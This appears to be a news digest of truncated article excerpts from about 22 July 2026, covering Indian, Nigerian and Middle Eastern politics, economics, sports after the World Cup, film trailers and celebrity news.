HYDERABAD The Directorate of Monitoring and Appraisal under the Ministry of Jal Shakto (MoJS) has asked the Telangana government (Irrigation Department) to return the Central Assistance of ₹54.22 crore including interest released under Pradhan Mantri Krishi Sinchayee Yojana (PMKSY) for nine ongoing projects. In a letter addressed to the Engineer-in-Chief of Telangana, Director of M\&A noted that the Telangana government had written to it in July 2023 for dropping the proposals submitted for 11 projects in the past and adjust the central assistance release to nine other eligible projects including Devadula Lift Irrigation Scheme, Rjiv Bhima LIS,…

He said things like fuel costs, groceries, rates and insurance premiums “don’t have a lot of wiggle room” for people. “All the things that people just have to pay [for], if they’re going to get by, have risen a lot.” Jurkovich said it was “worrying” people had to take on debt for groceries or petrol. “I think a lot of people are in a situation where that might be not a great option but their only option.” He said the more places that BNPL is available, the more it becomes an option for people to use. “If you get into a position where you’re not able to meet the hooks and hurdles… you can get yourself into trouble and it can be a bit of an invisible…

House supply tipped to increase as WA market slows Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Perth’s galloping property prices are being brought to heel after almost four years of constant gains, with new data revealing modest growth in median house prices for the June quarter. The WA capital extended its run to 15 consecutive quarters of growth to reach a median house price of $1.18 million, according to Domain’s latest House Price Report. However, house prices grew at just 1 per cent for the quarter – the weakest pace in more than a year. Domain’s chief of research and economics, Dr…

Brazil · Defense Key Facts —Aircraft added. The framework covers 20 additional Gripen jets, raising Brazil’s planned fleet from 36 to 56 fighters. —Where they are built. Embraer will assemble the aircraft at its Gavião Peixoto industrial complex in São Paulo state. —Partnership structure. Brazil remains the only country outside Sweden licensed to produce the Gripen fighter. —Timeline. The heads of agreement was signed on 21 July 2026; a final contract is expected later this year. —Contract value. No purchase price or contract value was disclosed for the 20-jet production framework. Saab and Embraer signed a framework agreement on 21 July to produce 20…

MOSCOW, July 22. /TASS/. The Bank of Russia set the official dollar exchange rate for July 23, 2026, at 78.4756 rubles, 7.85 kopecks lower than the previous rate. The official euro exchange rate was lowered by 15.24 kopecks to 89.6034 rubles. The official yuan exchange rate was lowered by 3.09 kopecks to 11.5782 rubles.

By Andrea Shalal WASHINGTON, July 22 (Reuters) - U.S. Treasury Secretary Scott Bessent met Pakistan's finance minister, Muhammad Aurangzeb, on Tuesday and welcomed the country's progress in implementing economic reforms and laying the groundwork for a return to international capital markets, Treasury said in a statement on Wednesday. The statement did not address Pakistan's request for a $10 billion exchange stabilization facility, first reported by Reuters. But Treasury said Bessent emphasized the importance of Pakistan's work to continue its reforms, become more economically self-reliant, boost growth and strengthen its economic resilience.…

Justice K. Rajasekar said that as far as the criminal case was concerned, it was alleged that both the vendor and the purchaser had colluded and created the document for the purpose of grabbing the properties of the math. The Madurai Bench of the Madras High Court on Wednesday dismissed the anticipatory bail petition filed by K. Vellathurai of Tiruppur district, one of the accused in the case pertaining to fraudulent registration of Palani math land. Justice K. Rajasekar said that as far as the criminal case was concerned, it was alleged that both the vendor and the purchaser had colluded and created the document for the purpose of grabbing the…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

India's favourite summer delicacy has just crossed a new milestone. A 12.5-tonne shipment of Dashehari and Langra mangoes from Uttar Pradesh has reached Dubai by sea after a 25-day journey, with nearly 90% of the fruit remaining market-ready. The successful shipment could pave the way for cheaper and larger exports of Indian mangoes. The journey was made possible using a post-harvest protocol jointly developed by the ICAR–Central Institute for Subtropical Horticulture (ICAR-CISH), Lucknow, and the Agricultural and Processed Food Products Export Development Authority (APEDA). Ministry said that the technology could make mango exports more affordable…

After a decade in power, Antonio Guterres, will end his second term as UN Secretary-General on December 31. There are currently six candidates lining up to replace him. Whoever emerges victorious has a tough task, with the relevance, power and financial capability of the UN under an increasingly harsh spotlight. The UN Secretary-General is "equal parts diplomat and advocate, civil servant and CEO," according to the organization itself. The holder of the position oversees several vital UN organs, including the Security Council, charged with maintaining peace and security. The 80-year-old UN is struggling for relevance — here's why [![ To view this…

CJP supporters protest at Jantar Mantar in New Delhi on July 22, 2026. \| Photo Credit: SHASHI SHEKHAR KASHYAP Thousands of people continued to pour into the Cockroach Janta Party (CJP) protest site at Jantar Mantar in the heart of Delhi on Wednesday (July 22, 2026), while hundreds more protested outside the entrance towards Sansad Marg. CJP chief spokesperson Saurav Das told the media that the police informed them that that Union Minister J.P. Nadda wanted to speak to them. “They invited us to his residence, but we categorically declined. We are not going to anyone’s house or office. A janata darbar [people’s meet] is being held here, and if the…

The All Progressives Congress (APC) has dismissed claims by former Vice President and African Democratic Congress (ADC) presidential candidate, Atiku Abubakar, that the 2026 Service-Wide Vote (SWV) was set aside to fund President Bola Tinubu’s 2027 re-election campaign. In a statement released in Abuja on Wednesday, APC National Publicity Secretary Felix Morka described Atiku’s allegation as a sign of disturbing ignorance of basic public finance principles and calculated mischief. Atiku had accused the Tinubu administration of using the Service-Wide Vote as an illegal slush fund for the 2027 election. Responding, Morka said Atiku failed to provide any…

TEHRAN - A senior Iranian military official said the United States and Israel failed to achieve their objectives through “hybrid warfare” and subversive activities against the Islamic Republic. Brigadier General Mohammad Ahadi, Chief of Defense Diplomacy and International Relations of the Iranian Armed Forces, made the remarks on Tuesday at the Chinese Embassy in Tehran during a reception marking the 99th anniversary of the founding of the Chinese People’s Liberation Army (PLA). “Last year, through a hybrid war of military action and terrorism, they [the US and Israel] sought to impose their will on the Iranian nation by assassinating commanders,…

TEHRAN — Public anger over Washington’s aggressive foreign policy erupted on the streets of Manila on Wednesday, as anti-war demonstrators rallied outside the venue of the Association of Southeast Asian Nations (ASEAN) Foreign Ministers’ Meeting to protest the presence of Secretary of State Marco Rubio and denounce US military operations against Iran. Carrying placards reading “War criminals not welcome” and “Ban Trump! Ban Rubio!”, activists gathered in the Philippine capital to voice sharp opposition to Washington's military actions in the Middle East and its expanding strategic footprint in the Indo-Pacific. Rubio arrived in Manila to participate…

The police detained more than 400 protesters at two locations in Mumbai on Wednesday (July 22, 2026) during demonstrations demanding action over the alleged NEET paper leak. Shiv Sena (UBT) MLA Aditya Thackeray and Maharashtra Navnirman Sena (MNS) leader Amit Thackeray visited a police station in Dadar later in the day, following which several of those held were released. *Also read \| Jantar Mantar protest updates on July 22* Protests were held across several locations in Mumbai and elsewhere in Maharashtra. Several Congress leaders were also detained and later released in Mumbai. Meanwhile, a students’ delegation also met MNS chief Raj Thackeray at…

Iran's top negotiator Mohammad Baqer Qalibaf said on Wednesday that no one will be able to sell oil in a region where Iran is not able to do so, adding that if Tehran's security is not ensured, no infastructure will be safe. "The equation of this war is clear: either all or none," Qalibaf said in a post on X, adding that the security of the Strait of Hormuz lies in the absence of American forces.

Natalie Fleet says she has stepped down as safeguarding minister after finding the role "overwhelmingly triggering", telling the BBC that it was making her ill. The Labour MP, who was groomed and raped as a teenager, added she told the team of new Prime Minister Andy Burnham that she "sadly couldn't stay" in the job. Fleet described it as the "bravest thing I've ever done" and offered her support to her successor. She was appointed to the role on 12 May this year following the resignation of Jess Phillips, who said opportunities for progress had been "stalled and delayed" under the leadership of then-Prime Minister Sir Keir Starmer. Announcing her…

Proceedings of the Rajya Sabha were adjourned during the Monsoon Session of the Parliament on July 22, 2026. Photo: Sansad TV/ANI Video Grab Repeated adjournments paralysed the proceedings in the Rajya Sabha on Wednesday (July 22, 2026) as the Opposition and the government fought over the rules governing a discussion on the alleged National Eligibility-cum-Entrance Test (NEET) question paper leak. While the Opposition demanded a discussion under Rule 267, which requires the suspension of the day’s business, the Government said no conditions could be dictated. *Also read \|Parliament Monsoon Session Day 3 updates*** Deputy Chairman Harivansh Narayan…

Don't expect a lot of public lamentations from House Democrats next month if Rep. Shri Thanedar (D-Mich.) loses to his Democratic Socialists of America (DSA)-backed primary opponent.Why it matters: That would be a drastic deviation from recent DSA primary wins, which set off alarm bells among the Democratic establishment.In the telling of both progressive and moderate House Democrats, Thanedar's anomalous political profile and the makeup of his district will make it difficult to extrapolate from the results of his race."It's somewhat of a unique circumstance," Rep. Greg Meeks (D-N.Y.), a top ally of House Minority Leader Hakeem Jeffries (D-N.Y.), told…

Former Governor of Akwa Ibom State, Emmanuel Udom, has vowed to support President Bola Tinubu’s second term bid ahead of the 2027 presidential election. Udom described Tinubu as the father of Nigerians who has visions and needs the citizens to back him in fulfilling his dreams. Speaking with journalists in Abuja on Wednesday, the former governor said: “Let’s be a little bit human, if I were to be in the same position as the president, would I have asked for a second term? The answer is yes. I’m supporting Tinubu, number one because he is the president of my country right now, he’s our father. “Number two, he has the vision and I keep saying so, look…

President Volodymyr Zelensky held a phone conversation with U.S. President Donald Trump's representatives, Jared Kushner and Steve Witkoff. According to Ukrinform, this was confirmed to journalists by Presidential Communications Adviser Dmytro Lytvyn. Lytvyn said the phone call between President Zelensky and Trump's special representatives, Steve Witkoff and Jared Kushner, had just concluded. "The conversation has just ended," he said, without providing further details. As Ukrinform previously reported, President Zelensky had earlier expressed hope that Steve Witkoff and Jared Kushner would visit Ukraine. Photo: Office of the President

Social activist Anna Hazare. File picture \| Photo Credit: PTI Dialogue is superior to conflict, social activist Anna Hazare said on Wednesday (July 22, 2026) in a letter to Prime Minister Narendra Modi. He said he was pained by reports of police action and violence in Delhi and stressed that the government should resolve people’s concerns through dialogue and not through suppression. He called the government’s response to climate activist Sonam Wangchuk’s hunger strike “undemocratic”, and said the greatest responsibility of a democratic government was to maintain people’s trust. “Whenever any irregularity in government functioning is exposed, the…

WASHINGTON, July 22. /TASS/. The US administration is seeking to soften provisions of a Russia sanctions bill drafted in Congress and secure broad authority to waive the restrictions, Dr. Mark Episkopos, Eurasia Research Fellow at the Quincy Institute for Responsible Statecraft, told TASS. He was responding to a question about whether US President Donald Trump’s remarks on the bill and his recent decision to provide Ukraine with a license to manufacture Patriot air defense systems should be viewed as a tougher White House approach toward Russia. "A Patriot licensing deal can be a long-term benefit to Ukraine in the context of postwar reconstruction…

The Supreme Court on Wednesday (July 22, 2026) said interference with bail orders is warranted only where the continuation of liberty is “so egregious that it undermines the administration of justice”. Deprecating the routine practice of challenging bail orders before it under Article 136 of the Constitution, the court said its extraordinary discretionary jurisdiction ought to be invoked only in exceptional cases. The oral observations were made by a Bench comprising Chief Justice of India Surya Kant and Justices Joymalya Bagchi and V. Mohan while hearing petitions filed by the Enforcement Directorate (ED) and the Chhattisgarh government challenging…

Haryana Congress leaders on Wednesday (July 22, 2026) sought President Droupadi Murmu to intervene regarding the alleged irregularities prevailing in the examination system across different institutions under the Central government. Haryana Congress In-charge Sanjay Dutt, along with other leaders, submitted a memorandum to the President through the Deputy Commissioner of Kurukshetra district. The party held a meeting in Kurukshetra in which organisational matters and strengthening the ongoing movement concerning students’ rights and reforms in the examination system were discussed. “We have through our memorandum sought immediate intervention of the…

New Delhi: Leader of Opposition in the Lok Sabha Rahul Gandhi addresses a press conference, at AICC headquarters in New Delhi, on July 22, 2026. \| Photo Credit: PTI Prime Minister Narendra Modi should apologise, Union Education Minister Dharmendra Pradhan must resign, and every person who assaulted the protesting students must be held accountable, the Leader of the Opposition in the Lok Sabha Rahul Gandhi said on Wednesday (July 22, 2026), a day after his dramatic protest outside the Prime Minister’s residence. “They [the students] are our future. They are not terrorists,” Mr. Gandhi said at a press conference at the All India Congress Committee…

US President Donald Trump has lauded President Bola Tinubu for his decisive leadership “on behalf of the Nigerian people.” In a letter to President Tinubu, President Trump applauded Mr Tinubu’s resolve “to tackle the issues plaguing Nigeria, especially the violence affecting Christian communities.” According to Mr Trump: “It is a true honour to stand with you in the fight against these terrorists and to make the Federal Republic of Nigeria stronger and more prosperous.” The US-Nigeria relationship has lourished in recent times, with the two sides working closely in key areas, especially in tackling security challenges afflicting parts of Nigeria. In…

Lok Sabha LoP Rahul Gandhi and Samajwadi Party National President Akhilesh Yadav, during a protest outside the PM's residence at Lok Kalyan Marg, demanding the resignations of Prime Minister Narendra Modi and Education Minister Dharmendra Pradhan, in New Delhi on July 21, 2026. Photo: @samajwadiparty X/ANI Photo Opposition parties need to step up pressure on the government both within and outside the Parliament, Leader of Opposition in the Lok Sabha Rahul Gandhi said on Wednesday (July 22, 2026), even as he reassured all allies at an INDIA bloc meeting that the Congress believes in better coordination between them. His remarks come a day after the…

TUNIS, July 22. /TASS/. The new head of the radical movement Hamas’s Politburo, Khalil al-Hayya, has called on all Palestinian factions to unite and hold an inclusive national dialogue. He made the announcement in his first policy speech since being elected. According to al-Hayya, a video of whose speech was uploaded to Hamas's Telegram channel, "achieving the unity of the Palestinian people" is one of the movement's main priorities, following the protection of the legitimate rights of Palestinians, a complete end to the bloodshed, and the "restoration of normal life" in the Gaza Strip, as well as preventing the displacement of its population. "We…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Inter Miami have signed Casemiro as a free agent, but Major League Soccer is investigating the South Florida side for potential tampering in the process of acquiring the Brazilian midfielder. Casemiro has signed what amounts to a one-year contract with Miami, beginning now and ending at the conclusion of the 2027 “sprint season” that precedes the league’s switch to a fall-to-spring calendar in 2027-28. There is an option for an extension that would see the Brazilian stay in Miami through the 2028-29 MLS season. Both the club and league announcement said that Inter Miami had acquired the discovery rights to Casemiro from the Los Angeles Galaxy. The…

Lionel Messi's popularity among British people has plummeted after Argentina's shameful World Cup antics. Messi is now viewed unfavourably among almost half of the participants surveyed by YouGov. It comes after Argentina's baseless behaviour at the tournament, which ended with them losing 1-0 to Spain in the final and starting fights with the opposition. Enzo Fernandez was sent off in normal time and Leandro Paredes was lambasted for attacking Eric Garcia and Gavi after the match. Even Messi was dragged into their pathetic antics in the final, attempting to get Marc Cucurella sent off for briefly putting his hand over his mouth. As per FIFA's rules…

Check out the best moments from the NTT INDYCAR SERIES: Borchetta Bourbon Music City Grand Prix at Nashville Superspeedway with commentary from Will Buxton, Townsend Bell and James Hinchcliffe! The NTT IndyCar grid is going to look a little different in 2027 with news that the first sale of an IndyCar charter has been completed, and it will bring a new team to the grid. Albeit one that fans are very familiar with. On Wednesday, it was announced that Rahal Letterman Lanigan Racing had agreed to sell one of its three charters to Drewy \& Reinbold Racing, with the transaction subject to IndyCar approval. TRUMP TOUTS INDYCAR DRIVERS' 'SPECIAL' ABILITY AT…

Nigeria’s Super Falcons will face Tanzania in a pre-2026 Women’s Africa Cup of Nations friendly on Thursday. The encounter will hold at the Lenoria Sports Complex in Casablanca. It will kick-off at 6pm local time. The friendly will give the Super Falcons the chance to test their readiness for the WAFCON 2026 finals. Justine Madugu’s side were earlier scheduled to take on the Black Queen of Ghana in a friendly last Saturday, but it was called off d due to unforseen circumstances. They will hit Rabat for the competition this weekend. The Super Falcons will face the Scorchers of Malawi in their opening fixture next week Tuesday .

Tiger Woods returned to Florida on Wednesday afternoon after apparently seeking treatment in Switzerland following his DUI arrest in March. At least he didn't confiscate the phone like Rory. Charlie Woods, the son of Tiger Woods, attempted to win the 2026 U.S. Junior Amateur ended on Wednesday during a 14-for-2 playoff at Saucon Valley Country Club. But a camera click on a fan's phone threw off Woods' concentration, causing him to chunk a shot out of the thick rough. Charlie Woods watches his tee shot during the 109th Florida Amateur Championship at The Club at Admiral's Cove on June 11, 2026, in Jupiter, Fla. (GREG LOVETT/PALM BEACH POST / USA TODAY…

He was on the world stage in front of a global audience. He was the last Englishman standing at the World Cup, given we had lost to Argentina a few days before. And what did Robbie Williams, the former Britpop bad boy, manage to do? Almost become a national embarrassment. No, I’m not talking about his performance of a song called Desire, the official Fifa anthem which no one knew the words to, alongside Laura Pausini (me neither) and Nicole Scherzinger. I’m referring instead to the now-viral moment, during a live interview, when a speck of something white and granular appeared to drop out of Robbie’s nostril or perhaps his mouth, and – plop! – land on…

The Hundred women's competition, Utilita Bowl Southern Brave 126-7 (100 balls): Wolvaardt 45* (36); Graham 4-19 Welsh Fire 118-8 (100 balls): Voll 52 (39); Molineux 3-14 Southern Brave won by eight runs Scorecard. Table Southern Brave produced a remarkable fightback to begin their Hundred campaign with a hard-fought eight-run win against Welsh Fire in Southampton. Fire were on course for a comfortable victory after reaching 109-3 in their chase of 128, with opener Georgia Voll in good nick and unbeaten on a half-century. But 18-year-old left-arm spinner Tilly Corteen-Coleman sent back the Australian batter for 52 and sparked a dramatic collapse as the…

Victoria’s decision to pull out of hosting the Commonwealth Games (CWG) in July 2023, citing unsustainable costs, plunged the multi-sport event into uncertainty. There were fears that the 2026 Games might not be held at all. For nearly a year, the search for a replacement host went on. Gold Coast, the 2018 host, along with Singapore and Malaysia, figured prominently before Glasgow officially stepped up to host the event in September 2024, returning after its successful staging of the 2014 Games. Realising the spiralling organising costs, Glasgow tactfully cut the number of disciplines to 10 across four venues, a considerable reduction from Birmingham…

Dan Dakich reacts to Greg Sankey saying the SEC is exploring options outside of the NCAA. TAMPA, FL- While Lane Kiffin was contemplating his move to LSU from Ole Miss, Jon Sumrall was making a different decision on his coaching future beyond Tulane. Sure, while they both were deciding whether to take a different job, the circumstances surrounding the moves were not on the same wavelength in terms of coaching in the SEC. The conversation surrounding the coaching carousel will be discussed for decades, most likely being taught in business ethics classes on college campuses in the future. Greg Sankey addresses SEC breakaway talk as Michigan tries to…

The mystery surrounding Lionel Messi 's viral dressing-room speech before Argentina's 2026 FIFA World Cup final has finally been addressed, with Alexis Mac Allister's father dismissing speculation of an internal crisis and insisting the captain's words were taken completely out of context. Carlos Mac Allister revealed that even he briefly wondered whether something had gone wrong inside the Argentina camp after watching footage of Messi repeatedly telling his teammates to "forget everything" before the final against Spain. The clip quickly spread across social media, fuelling theories that Argentina's squad was dealing with tensions behind the scenes…

BLAINE, MINNESOTA - JULY 27: Kurt Kitayama of the United States poses with the Elemental Swing trophy after putting in to win on the 18th green during the final round of the 3M Open 2025 at TPC Twin Cities on July 27, 2025 in Blaine, Minnesota. (Photo by David Berding/Getty Images) Getty Images The golf world is coming off the final major of the season, the Open Championship at Royal Birkdale Golf Club last weekend. The dramatic finish, which ended in Ryan Fox claiming victory, has left the next few tournaments on the schedule in the wake of such an important tournament. Typically, the top players in the game take the week off after a major, unless it…

Erling Haaland's girlfriend Isabel Haugseng Johansen has shared a series of photos from the footballer's 26th birthday celebrations this week. The Norwegian player, who became a standout star of the World Cup, gathered a group of his friends and spent his birthday on a superyacht off of Sardinia. Isabel, 22, posed proudly beside her man, who was wearing a black vest top and rosary beads, complete with a pair of large shades. Erling wore his signature blonde hair slicked back into a ponytail and smiled for the camera, with an affectionate arm slung around Isabel's waist. WAG Isabel looked lovely in a blue knit sequin mini dress, which she styled with a…

VOIRON, France — Last week, my colleague Jonny Long from Escape Collective (EC) remarked that he speaks to more old people at the Tour de France than he does the whole rest of the year. It's true, and not altogether surprising: France has an aging population, so they have old guys, and cycling's culture is one of reverence for the legends of yore, so the old guys are here. Tour crowds aren't monolithic—I find myself pantomiming French toward all manner of locals and tourists alike—yet they skew white, Western European, and older. But really, "old guys" is too narrow a descriptor. What defines the crowds here at the Tour is more the omnipresence and…

EA Sports’s Fifa franchisehas been dominating the world of football games for decades, thanks in large part to its vast portfolio of official licences. Now the developer is finally ready to lift the curtain on the next entry in the series. With the World Cup behind us now, EA is ramping up its promotion of FC 27. The rumour mill is churning, but a few things have been confirmed, such as the game’s cover stars and when the gameplay trailer will release While some fans think the series is in its best shape yet, with competitive and authentic gameplay modes, the addition of live challenges in Manager Career mode and slight changes to Ultimate Team in FC…

Argentina taught me a lesson about hospitals this summer. Four years ago, Argentina won the World Cup with a solid team led by Lionel Messi. Messi provided extraordinary talent, but the championship was also built on cohesion, discipline, sacrifice, and players who seemed to understand exactly what they owed to one another. It was a truly well-oiled machine with a genius brain. This year, Argentina returned with the same coach, Messi as captain again, and many of the same players who won in 2022. The team was still excellent. It reached another final, and Messi, at age 39, remained capable of extraordinary football, evident by the beautiful goals he…

Emiliano ‘Dibu’ Martínez has opened the door to retiring from Argentina's national team following the World Cup final defeat to Spain, saying he will reflect on whether it is time to "step aside." Following Sunday's loss, the national team goalkeeper took to Instagram on Tuesday to question his future with the Albiceleste. "I dreamed we would win it again. I dreamed of bringing it back to Argentina and making history once more," the Aston Villa goalkeeper wrote on his personal account. "The truth is the pain is difficult to explain. There are many things to reflect on and I have to see how to move forward, and whether it is time to step aside," he…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Nina Kennedy didn’t know if she’d make it to the Games. Now she’s carrying the flag Updated July 23, 2026 — 2:12am,first published 11:59pm Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Nina Kennedy had her doubts. After undergoing major surgery to repair a hamstring that tore three times in six weeks, the Olympic and Commonwealth Games pole vault champion questioned whether she could get back to her best, or better. Now, not only will Kennedy be defending her gold medal from Birmingham in 2022, she will also lead the Australian team out at the Glasgow opening ceremony, after chef de…

Pictured: Amelia Dimoldenberg (photo by F1) Courtesy of F1 YouTube is attracting more professionally produced episodic entertainment from talent-founded production companies, and global brands are turning to the platform to develop original series for digital audiences. Host, writer and producer Amelia Dimoldenberg’s creative studio, Dimz Inc., and Formula 1 return for a second season of the original YouTube series Passenger Princess, premiering July 22. After generating more than 289 million views in its debut season, Passenger Princess returns with six new episodes following Dimoldenberg as she learns to drive alongside Charles Leclerc, Franco…

The arrival of Doctor Doom in Avengers: Doomsday is only months away, but fans are already asking questions about Avengers: Secret Wars. The next Avengers film after Doomsday is set to pave the way for massive changes to the Marvel Cinematic Universe, but don't call it a reboot. Following comments about the comic inspirations for Secret Wars, Marvel boss Kevin Feige is giving a little more insight into just exactly what the MCU will look like after the sixth Avengers film is released in 2027. Feige recently denied that the MCU will undergo a reboot during an interview with Happy Sad Confused's Joshua Horowitz. He notes that, as always, Marvel is…

TEHRAN – Four films from Iran will compete in the 30th Flickers' Rhode Island International Film Festival (RIIFF), which will be held in Rhode Island, the US, from August 4 to 9. The Iranian films participating in the festival include “My Daughter's Hair” directed by Hesam Farahmand, “White Flag” by Parviz Rostami, “Hide \& Seek” by Fatah Minoobakhsh, and “The 80 Blows” by Alireza Abbasi, Honaronline reported. “My Daughter's Hair” is a 2025 narrative drama about Raha, a teenage girl who is studying animation, but when she is about to submit her university project, her laptop is stolen, and she is forced to cut her hair and sell it to buy a new laptop.…

DC Studios' upcoming Clayface movie just got a new trailer, and it’s not for the faint of heart. The movie, based on the shapeshifting Batman villain, is described as a “horror thriller,” with mutilation, grotesque transformations, and other unsettling sights in store. That includes the man known as Clayface taking a pair of grooming scissors to his own eyes while in an airplane bathroom rocked by turbulence. Clayface centers on Matt Hagen (Tom Rhys Harries), a Gothamite who becomes a Hollywood leading man until a local crime syndicate disfigures his face. Abandoned by the criminal justice system and his closest colleagues, Hagen looks for extreme…

Listen to this article Estimated 1 minute The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results. American YouTube star Jimmy Donaldson, known online as MrBeast, has married content creator Thea Booysen. The two announced their marriage on social media on Tuesday. They were engaged in December 2024. Donaldson, 28, is YouTube’s most-followed creator, with over 500 million subscribers on his main channel alone. His six alternate accounts, including MrBeast Gaming and Beast Reacts, have nearly 200 million subscribers between them.…

A French professional model recruiter who for over a decade arranged for the late sex offender Jeffrey Epstein to meet multiple models, was found dead in his home near Paris on Monday. Daniel Siad’s body was found in his house in Colombes, a suburb of the French capital, Marie-Céline Lawrysz, deputy public prosecutor at the Nanterre Judicial Court, told CNN in a Wednesday statement. An autopsy will be performed on the body to determine the cause of death. CNN’S Katie Polglase recently interviewed Siad, who said he had no reason to believe two women he had recommended to Epstein – and who had told CNN that Epstein had abused them – had been harmed by…

After Superman and Supergirl, the DC Universe is going in a much different direction with Clayface. The body horror movie is coming to theaters this October, and is shifting the newly launched superhero universe away from the heroics and into a truly disgusting villain origin story. The first teaser we got earlier this year was pretty gross, but the latest trailer starts getting even more details, with some scenes that already make my skin crawl. Clayface stars The Gentlemen actor Tom Rhys Harries as its titular villain, who is disfigured by local criminals just as his acting career has hit its prime. In an effort to reclaim his Hollywood good looks,…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

House of the Dragon is getting so good, I'm flirting with calling it a more satisfying watch than Game of Thrones. After two seasons of thrilling political maneuvering, betrayals, and the occasional dragonfire massacre, the story has really clicked into place, and I've found myself deeply invested in the travails of the battling Targaryen dynasties, even though I technically know how everything turns out. (It is a prequel, after all.) If each new episode leaves you craving more sharp writing and spectacular dragon battles, you’ve got a lot of other series to keep you fed going forward. But if you want a more cinematic experience that offers similar…

WNBA star Sophie Cunningham shares her powerful message about standing up for girls' sports amidst criticism. She reiterates her commitment to truth and protecting young girls in locker rooms and sports from competing against biological men, despite receiving negative feedback about her stance on transgender athletes. This comes after she retweeted a CBS Sports host years ago. WNBA star Sophie Cunningham sent shockwaves in the ongoing culture war over the WNBA and trans athletes in women's sports on Tuesday after revealing her stance on the issue to ESPN. Cunningham's recent statements sparked debate on social media after she revealed she is in…

A murder most foul has occurred in the pages of Marvel's X-Men. After weeks of teasing a death in the X-Men: The Hellfire Murder one-shot, we finally know who met their untimely demise. Before Wolverine solved the case, however, The Hellfire Murder treated readers to extreme levels of horniness. The Hellfire Gala was a tradition that began during Jonathan Hickman's Krakoan age for the X-Men. It served the dual purpose of letting artists design beautiful outfits for Marvel's mutants and marking major turning points in the overarching X-Men story. The first Hellfire Gala saw the mutants announcing they had terraformed Mars and a later instance…

Style icon Katie Holmes proved she can rock just about any trend as she enjoyed a date night with her younger new beau. The Dawson's Creek alum, 47, was working a youthful style that looked as though it came from the closet of a twenty-something (or even a college student like her daughter Suri Cruise) as she stepped out with her new beau Jason Bard Yarmosky. From the Y2K-inspired pink tank top to the leather pants, Holmes was a vision of the latest trends. Smile on her face, Holmes held hands with Yarmosky as they enjoyed a night out at the SoHo Sessions concert series in New York City on Tuesday. Born in 1987, Yarmosky is 10 years younger than…

Jennifer Garner says paparazzi knocked over children for photos of her and Ben Affleck Jennifer Garner has said that paparazzi went to extreme lengths to try and take photographs of her and Ben Affleck, including knocking over children. Speaking to Evan Ross Katz on the Shut Up Evan podcast, the 13 Going on 30 star said she recognised the privilege her children have grown up in, but the methods photographers would use to try and take pictures of them were "a danger to everyone around us." "If I went through a yellow light, 15 cars would go through the red behind me... Kids were getting knocked over coming out of preschool by photographers who were so…

Fox News Flash top entertainment and celebrity headlines are here. NEWYou can now listen to Fox News articles! Jason Alexander is taking accountability for his past mistakes. The 66-year-old actor recently apologized to Courtney Stodden for participating in a 2012 Funny or Die sketch in which he held a cellphone up to her chest and made comments about her body when she was a minor. "Looking back at the comedy sketch in which Ms. Stodden and I participated in 2012, I completely agree that it was inappropriate and I truly regret it," he told Fox News Digital in a statement. "But more importantly, I am deeply sorry for any harm or distress it has caused…

Descrease article font size Increase article font size A Brampton couple is celebrating a $70-million Lotto Max win after a Mother’s Day gift turned into a jackpot. Audrey and Wills W. won the May 8 draw with a Quick Pick ticket Wills bought for his wife, according to the Ontario Lottery and Gaming Corp. Audrey said she discovered the win after checking the ticket on the OLG app. “I saw the winning amount on the screen, turned to Wills and said, ‘Look at this … is this $70?’” she said. “He glanced at it and said, ‘No… look again because there are so many more zeros.’” Get daily National news Get daily Canada news delivered to your inbox so you'll…

DC Studios needs a bit of a pick-me-up after the box office and critical disappointment of Supergirl and, based on this new trailer, director James Watkins’ Clayface might just be the ticket. The movie’s first official trailer doesn’t lean quite as heavily into the body horror of its harrowing teaser, but it’s still pretty unsettling. And yes, that haunting version of The Flaming Lips’ “Do You Realize??” still underscores the whole thing. The film’s official logline reads, “Matt Hagen’s meteoric rise from Gotham street kid to Hollywood leading man is tragically cut short when a local crime boss’s actions leave him horribly disfigured. Abandoned by…

ESPN staff was hit by another round of layoffs this week, which in some sense barely registers as news given that the network is stuck in a constant state of downsizing. This round of cuts was notable, however, due to some of the recognizable names that were let go: Karl Ravech, David Lloyd, Stephania Bell, Cam Newton, Ryan Clark, and Tom Pelissero were among the cuts. Whether you wish to cheer or jeer any particular departure, there's no denying the significance of ESPN cutting loose someone like Ravech, who has been with the network since 1993 and became synonymous with its baseball coverage. Lloyd started with ESPN in 1997 and has become one of the…

A coroner has hit out at Polish hotel bosses for refusing to share CCTV footage which may show the death of a British businessman. Recruitment expert and father-of-three Steve McBride, 40, died after falling 36 feet from a hotel rooftop during a team-building ski resort trip when he went to fetch the keys to his room in the dark. It had been hoped that CCTV from the four-star Hotel Bania in Bialka Tatrzanska might shed light on how Mr McBride came to die. But this week a coroner revealed that the Polish resort hotel had failed to respond to requests to hand over footage - a refusal that he described as 'shameful'. Senior coroner for East London Graeme…

